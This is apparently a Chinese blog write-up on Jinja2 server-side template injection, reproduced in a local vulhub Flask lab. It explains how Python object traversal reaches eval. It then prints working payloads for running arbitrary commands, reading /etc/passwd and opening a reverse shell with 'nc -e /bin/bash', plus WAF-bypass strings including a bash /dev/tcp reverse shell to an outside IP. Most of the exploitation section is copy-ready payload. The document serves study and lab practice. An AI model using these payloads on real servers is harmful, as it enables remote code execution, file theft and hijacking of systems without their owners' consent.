0%

Jinja2服务端模板注入漏洞

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

我其实根本就没用过flask模板,但因为种种的研究原因,还是在此记录一下。

参考链接:https://www.cnblogs.com/leixiao-/p/10227867.html

参考链接:https://www.cnblogs.com/hackxf/p/10480071.html

flask

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

  • Werkzeug 一个 WSGI 工具包
  • jinja2 模板引擎

下面是Flask版的hello world(hello-demo.py):

1
2
3
4
5
6
7
8
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run()

安装flask即可运行了:

1
2
3
4
5
6
$ pip install Flask

$ python hello.py
* Running on http://localhost:5000/

*flask默认端口是5000

Jinja 2

  • Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
  • Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了{{…}}
  • Jinja2 模板同样支持控制语句,像在 {%…%} 块中
1
2
3
4
5
6
7
{# This is jinja code
# 控制结构
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}

影响版本

1

环境搭建

1. docker搭建;

1
2
3
4
5
# centos 7

cd /vulhub/flask/ssti
docker-compose build
docker-compose up -d

浏览器访问:http://192.168.220.132:8000

image-20211224101623358

漏洞复现

漏洞原理

进入容器看一下web服务的代码;

image-20211224102350273

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

看到Template(“Hello “ +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如:

1
http://192.168.220.132:8000/?name={{2*3*3*3}}

image-20211224102054256

由此就可以看出,这完全是开发人员的编码不当才会导致存在有模板注入的漏洞

利用python特性逃逸

Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数;

python的内敛函数真是强大,可以调用一切函数做自己想做的事情,Python中一些常见的特殊方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__bases__
以元组返回一个类直接所继承的类
__mro__
以元组返回继承关系链
__class__
返回对象所属的类
__globals__
以dict返回函数所在模块命名空间中的所有变量
__subclasses__()
以列表返回类的子类

#思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals['builtins']即可调用eval等执行任意代码。
().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]

#builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

命令执行

安全研究员给出的几个常见命令执行Payload;

1.获取eval函数并执行任意python代码的POC

1
2
3
4
5
6
7
8
9
10
11
12
http://192.168.220.132:8000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20211224103616805

2.用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)

1
2
3
4
5
6
http://192.168.220.132:8000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

3.python3没有file了,所以可以用open

1
2
http://192.168.220.132:8000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

image-20211224104826984

文件操作

1.用open操作文件

1
2
http://192.168.220.132:8000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

image-20211224104742298

反弹shell

无法使用bash反弹shell,只能在容器中下载netcat;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# docker中下载netcat
apt install netcat

# 攻击机中开启端口监听
nc -lvvp 2333

# 浏览器执行payload
http://192.168.220.132:8000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("nc -e /bin/bash IP 2333").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20211224110020995

WAF绕过

还没测试,test payload来自晓枫,有时间再搞一哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

欢迎关注我的其它发布渠道